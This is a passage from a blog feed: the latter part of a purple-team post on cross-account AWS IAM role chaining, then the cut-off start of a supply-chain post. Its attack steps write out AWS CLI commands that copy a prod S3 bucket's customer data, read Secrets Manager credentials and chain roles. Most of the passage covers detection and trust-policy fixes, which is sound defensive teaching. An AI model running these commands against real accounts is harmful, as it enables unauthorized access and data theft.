#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
		<item>
		<title>Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</title>
		<link>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/</link>
					<comments>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[CVE-2024-3094]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SolarWinds]]></category>
		<category><![CDATA[Supply Chain]]></category>
		<category><![CDATA[XZ Utils]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1867</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span>Supply chain attacks target trust, not code. SolarWinds to XZ Utils anatomy: how 2 years of social engineering almost shipped a backdoor to every major Linux distro.</p>
<p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
